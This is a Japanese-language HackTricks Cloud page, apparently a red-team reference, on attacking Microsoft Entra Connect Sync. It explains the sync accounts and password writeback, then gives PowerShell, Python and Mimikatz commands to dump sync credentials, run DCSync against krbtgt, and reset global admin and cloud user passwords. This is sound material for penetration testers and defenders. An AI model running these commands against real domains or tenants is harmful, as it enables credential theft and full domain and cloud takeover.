Az - Connect Sync
Reading time: 17 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
ドキュメントから: Microsoft Entra Connect 同期サービス (Microsoft Entra Connect Sync) は、Microsoft Entra Connect の主要なコンポーネントです。これは、オンプレミス環境と Microsoft Entra ID の間でアイデンティティデータを同期するために関連するすべての操作を処理します。
これを使用するには、AD 環境内のサーバーに Microsoft Entra Connect Sync
エージェントをインストールする必要があります。このエージェントが AD 側からの同期を担当します。
.png)
Connect Sync は基本的に、AD から Entra ID へのユーザーを同期する「古い」Azure の方法です。 新しい推奨方法は Entra Cloud Sync を使用することです:
生成されたプリンシパル
- アカウント
MSOL_<installationID>
はオンプレミス AD に自動的に作成されます。このアカウントには ディレクトリ同期アカウント の役割が与えられています (詳細は ドキュメント を参照) これは、オンプレミス AD で レプリケーション (DCSync) 権限 を持つことを意味します。 - これは、このアカウントを侵害した者がオンプレミス ドメインを侵害できることを意味します。
- 管理サービスアカウント
ADSyncMSA<id>
がオンプレミス AD に特別なデフォルト権限なしで作成されます。 - Entra ID では、サービス プリンシパル
ConnectSyncProvisioning_ConnectSync_<id>
が証明書と共に作成されます。
パスワードの同期
パスワードハッシュ同期
このコンポーネントは、AD から Entra ID へのパスワードを同期するためにも使用できます。これにより、ユーザーは AD のパスワードを使用して Entra ID に接続できるようになります。これを行うには、AD サーバーにインストールされた Microsoft Entra Connect Sync エージェントでパスワードハッシュ同期を許可する必要があります。
ドキュメントから: パスワードハッシュ同期 は、ハイブリッドアイデンティティを達成するために使用されるサインイン方法の一つです。Azure AD Connect は、オンプレミスの Active Directory インスタンスからクラウドベースの Azure AD インスタンスにユーザーのパスワードのハッシュのハッシュを同期します。
基本的に、すべての ユーザー と パスワードハッシュのハッシュ がオンプレミスから Azure AD に同期されます。ただし、平文のパスワード や 元の ハッシュ は Azure AD に送信されません。
ハッシュの同期 は 2 分ごと に行われます。ただし、デフォルトでは、パスワードの有効期限 と アカウントの有効期限 は Azure AD で 同期されません。したがって、オンプレミスのパスワードが期限切れ (変更されていない) のユーザーは、古いパスワードを使用して Azure リソースにアクセスし続ける ことができます。
オンプレミスのユーザーが Azure リソースにアクセスしようとすると、認証は Azure AD で行われます。
note
デフォルトでは、adminCount
が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません。ただし、この属性を持たない特権グループの一部である他のユーザーや、高い権限が直接割り当てられたユーザーは 同期される可能性があります。
パスワードの書き戻し
この構成により、ユーザーが Entra ID でパスワードを変更したときに Entra ID から AD へのパスワードを同期することができます。パスワードの書き戻しが機能するためには、AD に自動的に生成された MSOL_<id>
ユーザーに ドキュメントに記載されているように、より多くの権限を付与する必要があります これにより、AD 内の任意のユーザーのパスワードを変更できるようになります。
これは、侵害された Entra ID から AD を侵害するために特に興味深いです。なぜなら、ほぼすべてのユーザーのパスワードを変更できるからです。
ドメイン管理者や特権グループに属する他のユーザーは、グループが adminCount
属性が 1 の場合は複製されません。しかし、これらのグループに属さずに AD 内で高い権限が割り当てられた他のユーザーは、パスワードを変更される可能性があります。例えば:
- 直接高い権限が割り当てられたユーザー。
DNSAdmins
グループのユーザー。- GPO を作成し、それを OU に割り当てた
Group Policy Creator Owners
グループのユーザーは、作成した GPO を変更できる。 - Active Directory に証明書を発行できる
Cert Publishers Group
のユーザー。 adminCount
属性が 1 でない高い権限を持つ他のグループのユーザー。
AD --> Entra ID のピボット
Connect Sync の列挙
ユーザーを確認します:
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()
Connect Syncの設定(ある場合)を確認してください:
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
パスワードの発見
MSOL_*
ユーザー(および作成された場合は Sync_* ユーザー)のパスワードは、Entra ID Connect がインストールされているサーバーの SQL サーバー に 保存されています。 管理者は、これらの特権ユーザーのパスワードを平文で抽出できます。
データベースは C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
にあります。
テーブルの1つから構成を抽出することが可能で、その中には暗号化されたものがあります:
SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;
暗号化された構成 は DPAPI で暗号化されており、オンプレミスの AD における MSOL_*
ユーザーのパスワードと AzureAD における Sync_* のパスワードが含まれています。したがって、これらを侵害することで AD および AzureAD への特権昇格が可能です。
これらの資格情報がどのように保存され、復号化されるかの完全な概要はこのトークで確認できます。
MSOL_* の悪用
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
warning
以前の攻撃では、他のパスワードが侵害され、その後 Sync_*
という Entra ID ユーザーに接続して Entra ID を侵害しました。しかし、このユーザーはもはや存在しません。
ConnectSyncProvisioning_ConnectSync_ の悪用
このアプリケーションは、Entra ID または Azure 管理ロールが割り当てられていない状態で作成されます。しかし、以下の API 権限があります:
- Microsoft Entra AD 同期サービス
ADSynchronization.ReadWrite.All
- Microsoft パスワードリセットサービス
PasswordWriteback.OffboardClient.All
PasswordWriteback.RefreshClient.All
PasswordWriteback.RegisterClientVersion.All
このアプリケーションの SP は、文書化されていない API を使用して特権的なアクションを実行するためにまだ使用できるとされていますが、私の知る限りでは PoC はまだ見つかっていません。
いずれにせよ、これが可能であると考えると、このサービスプリンシパルとしてログインするための証明書を見つけて悪用する方法をさらに探ることは興味深いでしょう。
この ブログ投稿 は、Sync_*
ユーザーからこのサービスプリンシパルへの変更の直前に公開され、証明書がサーバー内に保存されており、それを見つけて PoP(所有証明)を生成し、トークンをグラフ化し、これを使用してサービスプリンシパルに新しい証明書を追加できることが説明されました(サービスプリンシパルは常に新しい証明書を自分に割り当てることができます)。そして、その後 SP として持続性を維持するために使用します。
これらのアクションを実行するために、次のツールが公開されています:SharpECUtils。
私の経験では、証明書は以前のツールが探していた場所にはもはや保存されておらず、そのためツールはもはや機能しません。したがって、さらなる調査が必要かもしれません。
Sync_* の悪用 [非推奨]
warning
以前は、Sync_*
というユーザーが Entra ID に作成され、非常に敏感な権限が割り当てられており、任意のユーザーのパスワードを変更したり、サービスプリンシパルに新しい資格情報を追加したりする特権的なアクションを実行できました。しかし、2025年1月からこのユーザーはデフォルトで作成されなくなり、現在はアプリケーション/SP ConnectSyncProvisioning_ConnectSync_<id>
が使用されています。ただし、いくつかの環境にはまだ存在する可能性があるため、確認する価値があります。
Sync_*
アカウントを侵害することで、任意のユーザー(グローバル管理者を含む)の パスワードをリセット することが可能です。
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
クラウドユーザーのパスワードのみを変更することも可能です(予期しない場合でも)。
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
このユーザーのパスワードをダンプすることも可能です。
caution
別のオプションは、サービスプリンシパルに特権のある権限を割り当てることであり、Syncユーザーには権限があります。そして、そのサービスプリンシパルにアクセスすることで特権昇格を行うことができます。
シームレスSSO
PHSを使用してシームレスSSOを利用することが可能であり、他の悪用に対して脆弱です。以下で確認してください:
ピボッティング Entra ID --> AD
- パスワードの書き戻しが有効になっている場合、Entra IDと同期されているAD内の任意のユーザーのパスワードを変更することができます。
- グループの書き戻しが有効になっている場合、ADと同期されているEntra IDの特権グループにユーザーを追加することができます。
参考文献
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs
- https://aadinternals.com/post/on-prem_admin/
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf
- https://www.youtube.com/watch?v=xei8lAPitX8
- https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/
- https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。